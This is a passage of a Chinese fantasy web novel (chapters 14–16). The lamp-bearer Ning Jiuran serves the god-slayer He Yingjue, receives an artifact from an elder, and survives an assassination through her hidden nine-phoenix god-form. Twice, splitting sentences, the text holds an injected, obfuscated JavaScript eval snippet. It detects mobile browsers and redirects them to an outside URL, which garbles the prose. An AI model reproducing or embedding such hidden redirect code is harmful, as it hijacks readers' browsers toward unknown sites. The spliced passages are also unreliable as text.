“啊……好好的,这边是我们外勤一组的提灯人,都非常……”司长连忙说。 “我要她。”赫应决打断司长的话,微微抬起手指向左前方,“宁九燃。” 14. 第14章 因着赫应决的指名道姓,场上所有认识或不认识宁九燃的都往她这个方向看来。 宁九燃叹了口气,艰难地睁开眼睛,远远对上赫应决的目光。 服了,昨天恐吓一场还不够,接下来还要压榨我。 司长反应非常快,立刻示意肖自云把宁九燃叫过来。 宁九燃只能配合地走上前,露出一个标准的微笑:“弑神者大人。” 赫应决微微一点头:“带路。” 宁九燃将赫应决引到司里为他准备的超级豪华版大办公室,估计有四个司长办公室那么大。 宁九燃看了看四周,感觉司长把拿得出手的东西都放进来了。 办公室中央放了个大的夸张的主座,嵌满了神石宝珠,起码可以坐六个赫应决。 司长这审美……真是绝了。 宁九燃暗想。 赫应决似乎有些嫌弃地看了眼珠光宝气的主座,手指一划,光门拉开,凤凰飞了进来。 凤凰落地后,原地变成了一个红黑色的主座。 赫应决坐下,慵懒地往后一靠,看着站在面前的宁九燃。 “赫大人,还有什么吩咐吗?”宁九燃扯开嘴角,“外面一群人等着为您服务呢。” “不用,你就够了。”赫应决说。 “那您现在需要我做什么吗?”宁九燃努力保持好声好气。 赫应决的食指在额头轻搭两下,说:“我想想吧。” 宁九燃:“那我先回去训练了,有事您打我通讯。” “这么勤奋?” “是啊,不然怎么对得起大人您给的名额?”宁九燃没好气地说。 “这样吧,我也去。”赫应决站起身,“看看你们是怎么勤奋的。” 宁九燃带着赫应决一路直达地下训练基地,一路上人人噤声,低头连气都不敢出。 “赫大人,我是真的不太想和您走一块。”宁九燃小声说,“大家本来看我的眼神就够奇怪了,您还来火上浇油。” “先前,不是你自己努力的吗?”赫应决接话。 宁九燃觉得赫应决这张嘴的修为大约能超过他的神力层级。 林珰珰、辰刻和路嘲风看见宁九燃和赫应决一块进来,纷纷走上前来,但没弄清楚情况,不敢靠太近。 宁九燃跟在赫应决后面,微微冲他们摆了摆手。 “赫大人,这就是训练基地,您请便,我要训练了。”宁九燃说完,往昨晚回来提前预约好的全态训练场走去。 赫应决没应声,跟上了她。 宁九燃看着赫应决跟她一块进了训练场,没说什么,反正就算不让他进这人也有的是办法进来。 训练场开启后,她就继续进行之前的火焰精准度练习。偶尔余光一瞥,堂堂弑神者跟个街溜子似的,在场地内走过来走过去,好几次宁九燃假装失手,让鹤羽飞向他,结果这人一动没动,让鹤羽加了力径直又飞回来,害得她自己挡自己的攻击倒退了几步。 接下来几乎每天的训练时间,赫应决也都是有事没事在他们组训练的时候晃悠。 宁九燃已经充分怀疑,这个人来平海分司就是为了监视她,什么查伪神教势力全是借口。 但这人就光看,什么都不说,别人找他也全用几个眼神敷衍了事,为数不多的几句话还是跟人工智能说的。 转眼一个多月过去,提灯人考核就在眼前。 这天,宁九燃刚对林珰珰的沉水枪打靶进行完最后指导,手腕上的个人终端就响了,是赫应决。 “珰珰,你再练一下,只要别紧张,明天的考核绝对没问题。”宁九燃拍拍林珰珰的肩膀,然后边往更衣室走边接起通讯,“赫大人,有什么吩咐?” “替我去一趟总司,取一件神器。”赫应决的声音传出来。 “啊?”宁九燃脚步一顿。 “在请神殿的阁楼,你到了会有神使带你去取。”赫应决说。 “我怎么去?”宁九燃问。 “到我办公室,光门建好了,不懂问凤凰。”赫应决言简意赅。 宁九燃脑子里转了一圈,说:“好。” 那边似乎有点讶异她没继续问就同意了,顿了下,挂了通讯。 宁九燃把装着训练服的包放进自己的柜子里,然后往赫应决的办公室走去。 赫应决这个举动的试探性太强。 拿什么东西不能让神使给他送过来?或者,开个光门他自己也就能去了?堂堂弑神者,等着为他鞠躬尽瘁的人估计能绕联邦不知道多少圈,取个神器还轮得着她? 但是这确实是个机会。 她一直听说请神司主司存在禁忌档案,像司道那样大人物的真正死因别的地方不一定有,但这种禁忌档案可不好说。 反正平时没什么能进主司的机会,何不就借着赫应决的试探去这一趟。 宁九燃到了办公室,凤凰已经为她指好了光门,穿过光门,直接就到了请神司弑神殿内。 眼前大约是弑神殿的主殿,暗红色系的建筑,昂贵的透石方灯嵌在四周的立柱上,整个大殿透出一股诡异而压抑的美。 宁九燃晃了两圈,连个人影都没见着,不知道是不是赫应决故意溜她。 “赫大人?神使?有人吗?” 只有她的声音在殿中空空地回响。 搞什么? 宁九燃观察了下四周。 听说赫应决还没正式成为弑神者之前,就提出要更换弑神殿,整个请神司连带格利烬坦家族花了重金按照他的意思重建了眼前这新的弑神殿。 其建筑之惊人,耗资之巨大,足足在联邦日报的头条上待了一个月。直到他高调入主弑神殿后,成为了新的头条。 这么好的机会,要不趁机溜出去看看?反正问起来就说是去找神使了。 打定主意,宁九燃从侧门绕了出来,弑神殿内部跟迷宫似的,绕了半天才从一扇小门出了大殿。 正不知往哪走,眼前刚好碰到一个提灯人抱着箱子匆匆走过。 “那个,你好?”宁九燃上前说,“我想问个路。” “你是什么人?怎么会出现在弑神殿附近?”提灯人警惕起来。 “我是平海分司的临时工,是帮弑神者大人来取东西的。”宁九燃拿出自己的工牌证明身份。 听到“弑神者”三个字,提灯人立马换了态度:“是帮弑神者大人吗?有什么需要我做的?” “那个,我……”宁九燃顿了下,临到嘴边改了话,“我第一次来这里,怕进了不该进的地方,你能不能告诉我哪几个方向是不能去的?我好注意一下。” “这个呀,主楼五层以上非管理层不能进,北面的秘阁都是禁品不能进,还有弑神殿,你最好也不要乱晃……”提灯人认真地想着,“哦对了,弑神殿后面,也就是这边往东,那座高塔绝对不能去,靠近也不可以。” “这是……有原因吗?”宁九燃问。 “那里是主司的特级禁地,能进去的都是像弑神者大人这样的人物,听说里面有不少秘密卷宗,关于请神司命脉什么的……”提灯人一脸神秘兮兮地说。 宁九燃已经基本确定这个提灯人老实得有点缺心眼了。 “禁地”、“命脉”……这些也是可以随便跟人说的? “谢了。”宁九燃跟他分开后,绕了一圈又绕回了原地,径直走向东面的高塔。 这座高塔通体白色,看不出是由什么材质建成的,在阳光下微微折射着莹光。 可这样的禁地,竟然没有什么提灯人驻守,非常奇怪。 宁九燃往后退了几步,从口袋里捏出一片路上捡的叶子,叠了一丝神力,手指一摆,叶片直直飞向高塔。 叶片在触及高塔的瞬间,突然消失了! 怎么回事? 宁九燃环顾左右,忽然身后有风带过。 一转身,一只手捏住了那片叶子,停在她的后心处。 那片叶子离她只剩不到一厘米的距离。 捏住叶子的是一位看着最多四十出头的中年男子。 这个男子身着一件月白勾灰的交领广袖长袍,鸦青色的长发垂在耳边,那只伸出的手的腕间带了一串色泽奇异的黑珠。 宁九燃的目光从他的手慢慢往上扫,对上了一双令人呼吸一滞的眼睛。 这是一双极其沉静的、浓郁的眼睛,深邃的蓝绿色仿佛将万千生灵的波澜都沉淀在其中。 悲悯众生。 这是这双眼睛带给宁九燃的第一印象。 “你好。”宁九燃先开口,“多谢。” 男子收回手,轻轻一弹,叶片落在了地上:“神塔不容冒犯,所有的恶意都将以百倍之力回旋。小姑娘,多小心。” “我没有恶意,随手扔的而已。”宁九燃说,“可以问一下,您是?” 男子看着她,沉默了几秒,说:“我是苍尽辰。” 苍尽辰?他竟然是传说中的神塔之主,请神司唯一的大长老,大师级的神格研究者…… 宁九燃有些惊讶,这种级别的人物自己就这样误打误撞地碰上了? “苍长老,抱歉。我是来拿东西的,一不小心走错了路,打搅了。”宁九燃恭恭敬敬地道歉。 这种宗师级的人物是值得敬重的。 苍尽辰地位虽高,看着却有些亲切,见宁九燃道歉,便说:“没事。你是……平海分司的宁九燃吗?” 宁九燃抬头,语气诧异:“您认识我?” “你前段时间,很出名。”苍尽辰说。 “啊……哈哈。”宁九燃有些小尴尬,捋了下被风吹乱的鬓发,“是……是吗?” 别人看不出,像苍尽辰这样的人肯定看得出自己背后的路数与目的。 苍尽辰只是微微一笑,声音温和:“我很欣赏你,你想参观一下神塔吗?” “可以吗?”宁九燃有些惊喜。 “一层还是可以看的,跟我来吧。” 宁九燃跟在苍尽辰身后,畅通无阻地进了神塔。 神塔的内部非常明亮,和弑神殿完完全全是两个风格。塔内中空,抬头可以直接看到塔顶悬垂的降灯。 “神塔一共有十八层,秘密级别一层高过一层,所以只能让你参观下第一层。”苍尽辰带着宁九燃走进一间看着像书房的隔间,“这是我的办公室,平时会在这里查找案卷,旁边是我的储藏室之一。” 宁九燃好奇的眼光投向储藏室。 苍尽辰的储藏室,不知道会有多少好东西,真想看看…… “想看吗?”苍尽辰注意到她的目光,上前把手轻轻按在连接办公室与储藏室的门上,白光微闪,门打开了。 扑面而来的是一股很清蕴的木香,让人感到身心宁静,通体轻快。 宁九燃跟在苍尽辰身后进了储藏室,一眼就看到了摆在右侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554556|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台子上的一件神器:“这是……绝炼鼎!” “没错,可以炼化许多神器,全联邦只此一件。”苍尽辰说,“我对你的印象很好,听说你要参加提灯人大赛,作为见面礼,我可以送你一件神器。” “送我?随便挑吗?”宁九燃睁大眼睛。 他的这些收藏都极其珍贵,甚至有几件价值连城。第一次见面就这么大方,这人还怪好的。 “是啊,随便挑,都是早年的收藏,放我这也是落灰,不如拿来认识你们这些小朋友。”苍尽辰笑起来,眼角浮出几条细纹,“需要我帮你选吗?有好几件都比较适合你的神格,像这个火云弓,还有那个赤晶,吸收之后可以大幅度提升神力……” 宁九燃环顾了一圈,停在右侧的台子旁,指向一件神器:“我可以要这个吗?” 台子上是一个玻璃盒,里面装着一枚泪滴形状的耳坠,材质似玉非玉,似水非水,通体呈现出一种流动的、半透明的浅蓝色。 “鲛明月,防御型的神器,品相也一般。而且它适合水属性的神格,与你可不相配。”苍尽辰有些诧异。 “我就想要它,可以吗?”宁九燃坚定地说。 “当然。”苍尽辰将装着鲛明月的盒子放进宁九燃手中。 宁九燃收下神器,又跟苍尽辰聊了两句,喝了杯茶,忽然意识到一件正事。 “抱歉,苍长老,今天谢谢您,但我还有事。”宁九燃起身道别,“谢谢您送我的神器,如果有机会,我还能再来拜访您吗?” “如果有机会,一定要来。”苍尽辰没有半分长老的架子,微笑着冲宁九燃点了下头。 宁九燃离开神塔后,匆匆跑到弑神殿前,却看见凤凰从天上盘旋而下。 “凤凰,你怎么也来了?”宁九燃等凤凰落在她面前,问。 凤凰没说话,翅膀一挥,一个光屏浮在空中,字一个个冒了出来: “大人原话:‘去把宁九燃那个废物点心接回来吧,有这功夫等她给我拿神器,我都能再造一个了。’所以,我是来接你回去的。” 一天不呛人,弑神者大人可能不舒服。 虽然这么想,但宁九燃自知今天是自己理亏,老老实实爬到凤凰的背上。 在飞的过程中,宁九燃忽然拍拍凤凰的脑袋,问:“你是音响坏了吗?为什么不说话要打字啊?” 光屏再次出现: “我被大人禁言了,还剩16小时24分钟31秒才结束。” “这么过分?怎么还能跟人工智能较劲呢?”宁九燃吐槽着,随后又好奇地问,“他为什么禁言你?” 光屏上又浮出了字: “因为我觉得大人最近许多举动都偏离他正常的行为轨迹。比如今天早晨他坚持让你前往弑神殿帮他取神器,根据以前的行为分析,他这样做的可能性是0.9%,所以,我认真地为大人分析了他决策的错误与不成熟性,并为此生成了一份7864字的行为分析报告。” “哇哦,你很敬业嘛,小凤凰。”宁九燃又伸手拍拍它的脑袋,“然后呢?” 光屏继续打字: “大人看了眼标题就不看了,于是我决定念给他听以减轻负担。当我念到第114个字的时候,我就被禁言了。” “他还忍了114个字,看来是很爱你了。”宁九燃没忍住笑了,悄悄补刀,“可是凤凰,打字就不违反禁言吗?” 光屏卡了一下。 “逗你玩呢,打吧打吧,有什么说什么,别跟你主人似的。”宁九燃说,“我们回去要多久?” 光屏一闪: “五个小时。” “这么久?你不能飞快一点吗?”宁九燃问。 光屏上写道: “大人吩咐的,就按照这个配速飞。” “好吧。”宁九燃认命了,握着扶手往凤凰背上一躺。 等飞到平海上空,宁九燃一看时间,七组其他成员应该都已经结束训练了。 “凤凰,你载我到城西外环的居民楼群吧,我今天回家一趟。”宁九燃对凤凰说。 明天开始考核后就要失联几天了,今天先回去一趟,免得唐姨他们担心。 凤凰在距离居民楼两条街的位置停在了一处空地上。 “拜拜凤凰,明天见。”宁九燃冲凤凰摆摆手,然后往家的方向走去。 入了秋,七点多的天已经彻底黑透。今天大约是雾重云厚,天上看不见星星。 宁九燃绕过一条小巷,手上拿着那个玻璃盒子,这里离家还剩六七分钟的脚程。 咻—— 一道黑绿色的光毫无征兆地穿透空气,无比精准地击穿玻璃盒,强大的推力让玻璃盒瞬间脱手摔到一边。 有人! 杀意! 宁九燃脊背一凉,根本来不及思考,在玻璃盒脱手的瞬间,炽热的火焰已经喷涌而出,在她身侧形成护盾。这是她能在刹那间做到的、最极致的防御! 第二支黑绿色的箭几乎与第一支首尾相连! 它毫无停滞地穿透火焰护盾,强大冲击力让宁九燃喉头一甜,整个人不受控制地向后踉跄。 六重神相以上的姑获鸟神格! 这个念头刚在她脑海中闪过,就感到胸口一闷。 第三支箭,她终于看清了形状。 噬毒箭,见血封喉。 而这支箭,现在精准无误地穿透了她的心脏。 15. 第15章 “呃……” 一声被强行扼在喉咙里的闷哼发出。 宁九燃慢慢握上这支穿透心脏的箭,冰冷之后终于感到了爆裂般的剧痛。 毒素如千百根烧红的细针,将灼烧和麻痹感瞬间传至四肢百骸。 是谁?是……谁要杀我…… 呼吸在消退,身体不受控制地向后软倒。 眼前的一切被剥离了色彩,她重重砸在冰冷的地面上,激起扬尘。 然后慢慢合上了眼。 巷子死寂了很久后,远处的黑暗里浮现了一个人影,向毫无生机的宁九燃走近。 他穿戴着全黑的软甲和头盔,整个人包得严丝合缝,右手上的黑色长弓隐隐透着绿光。 地上的人看着应该是死透了,毕竟没人在被他的噬毒箭射穿心脏后还能活下来。 一个才三重神相的人,也值得我跑一趟? 这丫头有什么稀奇的吗? 黑衣人蹲下身,手中凝聚神力向宁九燃身上探去。 这时,黑暗里,一双猩红的眼陡然睁开。 黑衣人几乎在同一时间感受到铺天盖地的杀意与压迫感,瞬间激出的求生本能让他凝结神力护在胸前。 但没有用。 一道凌厉的火焰轻而易举地击穿他的护体神力,穿透堪称坚不可摧的软甲,重重地打进他的胸膛。 他被打飞撞到墙上,伴着墙体碎屑一起滚落在地,脏腑皆碎,血气上涌,眼前无法控制地发黑。 他试图撑起身,想要不那么被动。下一秒,他就感到自己被什么掐着举起来,用力砸到了墙体上,锥心的痛感从背后传来,让他忍不住痛呼出声。 模糊的视线中,他看见刚刚那个分明已经死透了的女孩站在他面前,右手一握,禁锢在他脖子上的火环就用力收紧。 那双血红色的眼睛里透着令人发麻的威压。 怎么会?眼前就像换了一个人一样! 她身上散发出的气息、使用的神力,完完全全就像是另一个人! 这……至少是八重神相以上的绝对强者! 黑衣人想用神力反抗,刚一调动,他就惊恐地发现身上的神力已经枯竭! 是火焰!是火焰烧尽了他的神力!她究竟是什么人! 千百年来,唯一能灼烧他人神力的神格只有一个!可眼前这人刚刚分明显露出的是火鹤神格! 宁九燃的手一点一点收紧,当看到黑衣人被灼烧后的脖子上出现了一个双头蛇纹饰,她微微皱起眉。 赏金猎人?双向信息是切断的,那么……就问不出什么了…… 黑衣人感到宁九燃看自己的眼神骤变,刚刚就已经若有若无的拷问耐心荡然无存。 求生欲与恐惧让他控制不住地进行最后挣扎:“等……等等!你……到底是什么人!别……别杀我!” 眼前的人将五指一握,火环瞬间爆燃,迸发出刺目的光亮:“区区姑获,也敢……弑神!” 在死亡前的最后一秒,黑衣人发黑的视线被火光照亮,看清了眼前的人。 她的脸上沾染着喷溅的血迹,有她先前倒地时呛出来的,也有此刻从他喉咙中溅出。 而往上看,那双冰冷的眼旁,是足以让全联邦的人都战栗的神纹。 独属于九凤神格的神纹。 宁九燃松开手,看着尸体“砰”的落到地上,然后慢慢抬眼。 四周的屋顶上,一个又一个黑色的身影隐了出来,不出意外的话,全都是五重神相以上的赏金猎人。 赏金猎人有其特殊的规则,排名高的猎人先挑选任务,排名低的只能等到他们失败才能动手。 而这些猎人亲眼目睹她杀死那个姑获鸟神格的猎人,却还敢动手。看来,赏金里一定有让他们无法拒绝的东西。 宁九燃抬手擦了擦从眼角滑落到下颌的血,站在原地,等着他们出手。 她知道,他们在犹豫,在揣测,他们在估量自己究竟有没有本事在他们的围攻下全身而退。 但是,时间有些不够了。 宁九燃低低地吸了口气,身体里的灼烧之痛已经有些压不住。本来以她第二神格九凤的神力,杀了这些人轻而易举,可九凤之身虽然不死,涅槃后却必须承受涅槃之火的痛苦。 她一直强压着涅槃之火,身体烫得可怕,额前已经布满冷汗,背在身后的右手指甲深深嵌入了掌心。 不行!得撑住!不能被他们察觉自己状态不对…… 又一阵钻心的灼痛袭来,宁九燃控制不住倒退了一步,却忽然被一只带着些凉意的手轻轻扶住,连带着肩膀都感到了凉意。 痛苦迟钝了她的动作,她还没回头,耳边便响起这段时间熟悉得不能再熟悉的声音:“是我。” 是……赫应决? 听见这个声音,宁九燃一怔,但身体的状况已经不允许她去思考赫应决为什么会出现在这里?他什么时候来的,又看见了多少? 她勉强转身,声音在极度的痛苦下已经发哑:“赫……赫大人。” 一语落下,强撑的意志崩断了最后一根弦,宁九燃眼前一黑,连赫应决扶她的手都没抓住,整个人就控制不住地滑落下去。 赫应决在宁九燃滑落的瞬间俯身揽住她,让她的头倚在他的肩膀上。 “凤凰。”伴着他的喊声,凤凰从天上盘旋而来。 “让何风霜来处理一下。”赫应决眼神扫向四面屋顶上被时停静止住的赏金猎人,声音冷冽,难以判断情绪,“五分钟之内。” “好的大人,已给神使何风霜传讯。”凤凰回答。 “你在这等他,要求他知道。”赫应决说完,食指在空中一划,光门打开后,他扶着昏迷的宁九燃走了进去,然后消失不见。 宁九燃睁开眼睛的时候,感觉有什么东西轻轻扫过她的额头。 天还有些朦胧,但已经亮了,可以看见薄薄的云飘过。 她躺着没动,调转了下身体里的神力。 很好,已经完全恢复了。 “躺着不动,要再睡一觉吗?” 是赫应决的声音。 宁九燃翻身坐起来,眼前所在应该是一处山顶,自己躺在一块蓝色的冰晶上,五步外是一处浅蓝色的山顶小湖。 赫应决就靠在离她只有三米不到的一棵树下,看着她。 宁九燃看见赫应决,整个人一僵。 她想起来了,昨天是赫应决最后出现带走了她。她迷迷糊糊记得,赫应决把她带到了一处冰凉的水中,缓解她涅槃的灼痛。 后来…… 宁九燃心里一边祈祷一边挽起袖子,白皙的胳膊上没有任何痕迹 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“应该很小,从我记事起就在了。因为神格特殊,后来就成了圣女。”宁九燃说,“但因为我不太想帮他们做事,也不怎么回去,所以实际上也没太多权力,你要想知道什么伪神教的秘密,我可能没法告诉你。” 赫应决继续问:“你不用黑雾修习?” 宁九燃回答:“黑雾在我的九凤神格作用下根本没有效果,何况我还是算天赋异禀吧,用不着这个。” 说完,宁九燃还笑了笑,想调解下这个审问式的气氛。 “所以,你为什么会有两个神格?从古至今,从来没有特能人会有两个神格。”赫应决放缓了些语气。 “天生的,我也不知道为什么。” “你的身体出了什么问题?为什么需要吸收血池水?” “之前出任务重伤过,肌体是用血池水弥合的,每个月都需要吸收血池水才能稳定身体不崩坏,但是九凤神格的神力太锐利,过度使用就会提前崩坏,像昨晚那样。所以我一般只用火鹤神格。”宁九燃换了个坐姿,用手托着脸,“赫大人,你还有几个问题啊?” 赫应决看着她,天光在他眼睛里折射出好看的亮:“最后一个问题,你为什么要加入请神司,参加提灯人大赛?为平海争光这种鬼话也只有肖自云会信。” 宁九燃沉默了。 她无法确定实话实说后赫应决的态度,但是现在她的秘密捏在他手上,如果编一个理由,这人不知道能不能信…… “别骗我,宁九燃。”赫应决靠近她,注视着她的眼睛,“你不说,我也会查清楚。” 看了不说是不行了,但是真话也不能全说。 宁九燃想了想,抬头说:“因为……我想离开伪神教。” 听见这个答案,赫应决神色微变。 “我在伪神教这些年,又是重伤差点死了,又是被驱使被算计,过得非常不好,我不喜欢这样的生活。”宁九燃一认真,那双微圆的眼睛就会睁得很大,眼尾弯起小小的弧度,很容易引人信服,“所以我就主动向主教请命进入请神司做卧底,等我展现出实力,得到有识之人赏识,就可以顺理成章地反水,摆脱伪神教。” 不行啊,听着还是有点拙劣,这人能不能信啊? 宁九燃暗想。 “好。”赫应决出人意料地说,“那我赏识你,入我麾下吧。” 16. 第16章 “啊?”宁九燃有点不敢相信自己的耳朵,“你赏识我……我加入……有点没懂啊大人?” “你不是想要反水吗?那何不找个最大的靠山?”赫应决伸出一根指头轻轻一勾,指向自己。 您这座靠山……多少有点危险吧?虽然长了张让我很难拒绝的脸,但弑神者是什么人我心里还是大概有数的…… 宁九燃觉得眼前这情况属实有些诡异,这家伙怎么想一出是一出?怕不是闲的没事又来消遣她玩吧? “我帮你保守秘密,你达成目的后,需要帮我做一件事。”赫应决说,“你也可以把这个当成交易,你帮我做事,我能给你帮助和支持,成为你在大赛上最大的靠山,这不好吗?” “你要我帮你做什么?”宁九燃想了想,尝试问。 “我想好了再告诉你。 宁九燃拒绝:“那不行,我不做稀里糊涂的交易。” “好呀。”赫应决笑笑,把手一摊,“那我马上公布你的身份,你现在就可以收拾收拾回伪神教了,圣女殿下。” 掐人七寸逼人签霸王条款,这种举动赫应决你不觉得掉价吗? 宁九燃在内心演绎了一下龇牙咧嘴的质问,随后无奈地意识到这人七寸打得真准,屈服了:“好了,我答应了。但有言在先,你不能让我伤害我的家人朋友。” “可以。”赫应决答应得也很爽快,然后忽然想到什么,从口袋里拿出鲛明月递给宁九燃,“这是你的吧?昨天掉那了。” “是的是的,丢了就可惜了,多谢多谢多谢……”宁九燃伸手接过来,检查了下,“幸好没坏,不然就坏我计划了……” 收好鲛明月后,她一抬手,发现腕带个人终端亮不起来,大约是被水泡坏了,便问:“赫大人,现在几点了?这里是哪里啊?十点前我能回请神司吗?今天还要考核呢。” “这是无尽池,每一滴池水都是宝贝,有清火疗愈的功效,没有它你昨天已经焦了。”赫应决站起身,问,“你身体没问题了?” “在大人的慷慨救助下,我除了刚刚心灵受到了霸王条款的创伤,其他都已经完全恢复了。”宁九燃配合地起身,站在赫应决边上。 赫应决听着这开玩笑的语气,转过脸看了她一眼,问:“宁九燃,你是不是一点都不怕我?” “不怕呀,谁让您长了张……”这提问得太突然,等宁九燃意识到的时候,话已经跑得比脑子快了。 “长了张?”赫应决疑惑地问,顺便招手让凤凰飞过来。 宁九燃赶紧跟上他站到凤凰背上,刚刚被紧急自我教育后的舌头开始找补:“长……长了张……” 直接夸他帅? 显得我很变态啊…… 和蔼可亲? 听着有点老…… 平易近人? 这话鬼都不信吧…… …… “我放弃了大人,找不到词了,您能不能当我刚才没说这句话……”宁九燃书到用时方恨少,头一次觉得前几年或许是该听肖主任的话去读个书的,“不怕您是因为我从小胆子大,胆大包天,无法无天,饭后点心吃的都是熊心和豹子胆……” 宁九燃说完这一大串,缓了口气,抬头看赫应决:“这个理由行吗,赫大人?” 赫应决没应声,大约是被这出胡言乱语敷衍到了。 飞了半程,赫应决又忽然问:“昨天那个姑获鸟在六重神相以上,在赏金猎人的序列上都非常靠前,你是怎么杀他的?” 看来他昨天是在我杀了那个姑获才来的。 宁九燃说:“他以为我死了,就放松警惕,我偷袭他来着。” 第二神格已经足够让人忌惮了,不管赫应决究竟图什么,像神力层级这种东西,最好还是不要让他知道。 “你一点都不好奇,那些人为什么杀你吗?”赫应决继续问。 “赏金猎人与悬赏者的信息是绝对双向切断的,就算好奇,我也没法知道呀。”宁九燃说。 赫应决:“十二神使中,有一位神使的特能是以神力痕迹为媒介,可回溯过去。他看见,昨天那些人在来之前都去过一个地方。” “哪里?” “请神城外,一处伪神教据点。”赫应决说,“我已经让人连夜处理掉了,这个据点很新,里面也都是些虾兵蟹将,所以之前没有引起注意。宁九燃,你多注意点背后捅来的刀吧。” 宁九燃低下头,慢慢变了脸色:“我知道了,谢谢赫大人。” 到了请神司之后,宁九燃就跟赫应决分开,去综合部重新领了个腕带个人终端,一看时间才八点三十七。 宁九燃看了眼自己的衣服——血迹在水中泡了一晚都晕染开来,破口也十分明显。她决定上楼去休息室洗个澡换身制服。 热水淋下,宁九燃低下头,慢慢缓过劲。 昨天被噬毒箭穿透的地方已经变回了光滑的皮肤,上面留下一个金色的凤羽纹——这是涅槃后的印记。 毫无征兆的,宁九燃突然呛出一大口血,眼前发黑,扶住墙才勉强站稳,血顺着水流将地面晕成了红色。 这次的损伤还是太大了。如果不是受了暗算,她绝对不会轻易使用九凤的力量,身体一旦承受不住而崩坏,不知道还要回血池水里躺几年。 虽然靠赫应决弄来的血池水暂时弥合了裂痕,但是要恢复到稳定的状态肯定还不够。看来,考核结束后得回伪神教主殿一趟了。 而且许多账,也得算算了。 宁九燃淋浴完,换上新的训练服,把长发利落地绑在脑后,往训练基地走去——今天的的技能考核场地就设在地下训练基地。 刚一进门,林珰珰就看见了她,把手上的东西一放就跑到她身边:“九燃姐姐,你去哪里了?通讯联系不上你,宿舍也找不到你,我……我很担心。” “没事小铃铛。”宁九燃拉上她的手,握了握,“一点小插曲,现在已经没事了。” “燃姐!”路嘲风扒拉着辰刻也走到她们身边,“你没事就好,我们几个担心一晚上了,刚还想着你要是今天回不来,我就跟辰刻去一人抱一只肖主任的大腿,求他延迟考核。” 宁九燃没忍住笑,给他竖了个大拇指,问:“不是,这……辰刻能答应?” 路嘲风看了辰刻一眼,搭上他的肩膀,相当豪迈地说:“他要是不答应,那我就先抱他大腿。” 辰刻冲宁九燃露出一个有些无奈的笑——不答应他就这样。 “好啦,总之,考核加油!”宁九燃看向他们,“通过考核,我们一起去参赛!” “好!” 提灯人考核分三大板块:基础知识考核、基本技能考核以及实战考核。 前两个板块分别用时一天,由一名从总司来的外勤部人员作为主考官,肖自云、外勤一组组长和外勤二组组长为副考官,知识考核成绩当天出,技能考核成绩即考即出。 这边,肖自云结束了两天的监考,腰酸背痛地往办公室的靠椅上一躺,一边往杯子里放茶包,一边打开成绩查询系统。 点开外勤七组的成绩时,肖自云一下子坐直,感觉腰不酸背也不痛了。 外勤七组这四个家伙……前两块考核全部满分啊! 宁九燃这丫头本就怪物些,满分就满分了。辰刻能力一直出众,但满分确实是没想过的。那个路嘲风,能力是强但书读的一直不咋样,要不是被理论成绩拖后腿他早就是这届毕业生的第一名了,但这次居然也是满分! 还有林珰珰,这文文弱弱的小姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554558|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘,来司里两个月了都开不明白枪,昨天的技能考核却也拿了满分。 肖自云翻了翻页面,眼睛突然瞪得更大了:“这几个家伙的神力层级,怎么突然提升了这么多?” 路嘲风是他们四个中神力层级最高的,刚开到四重神相,现在却已经接近神相中段。 辰刻和林珰珰本来才三重神相出头,此时竟然都已经接近四重神相。 “宁九燃这是给他们喂什么大补丸了吗?”肖自云又惊又喜。 这一个多月宁九燃一直带着他们三个人训练,每天还会额外加训好几个小时,常常到半夜。他知道会看见进步,但没想到会是这么大的进步啊! “我怎么突然觉得,他们去参加大赛,保不齐还真有戏……”肖自云自言自语了句,忽然想到什么,打开通讯对助理吩咐道,“有件事你安排一下……” 今天是实战考核,宁九燃跟林珰珰他们一早就等在了候考室。 “听说实战考核难度不会太大,主要就是考核一下团队的默契度……”路嘲风侧脸跟宁九燃说,“作为最后一项考核,往年听说都会有放水……” “真假的?”宁九燃把手上最后一口巧克力面包放嘴里,含糊地应道。 “别乱说,考核很严肃的。”辰刻杵了路嘲风一下。 肖自云带着几个提灯人走了过来,站到宁九燃他们面前:“今天,我负责你们的实战考核。” 宁九燃一口面包噎在喉咙里,瞪大的眼睛向路嘲风投去质问:这就是你说的放水?主任亲自上阵? 路嘲风尴尬地笑笑,挠挠头。 他也不知道啊,消息来源大约不靠谱…… “今天你们外勤七组的考核内容是按照按照既定路线,在晚上8点前将保护对象从郊外护送至请神司,不能借助外援,会有专门的考核人员对你们设伏,包括我。” 肖自云拿出一枚蓝色的标记弹,继续说:“一旦他被标记弹射中,或者说规定时间内没能将人送到,再或者说你们在执行任务的过程中误伤公民,造成恐慌,都算考核失败。” 宁九燃把信息在脑海里过了一遍,上前一步,比了个三:“主任,我有三个问题。” “你问。”肖自云就知道她还有事。 “第一个问题,我们护送谁?” “综合部的沧主任,这是他主动要求的来当考题的。先说清楚啊,沧主任不是特能人,没有神格,你们可得好好保护他。”肖自云手往边上一伸,背后走出一个留着小胡子,看着亲切近人的中年男子。 沧与野笑着说:“宁九燃,我可是特地申请的。我很欣赏你,哪天提灯人不想干了来我综合部,绝对给你最好的待遇。” 趁机挖人?肖自云搡了沧与野一下。 “谢了沧主任,暂时没有转行的打算。希望您多多配合,让我们顺利通过考核。”宁九燃礼貌地笑笑,转头继续问,“肖主任,第二个问题,只要不违反您刚才说的三个规则,就算通过,对吗?” 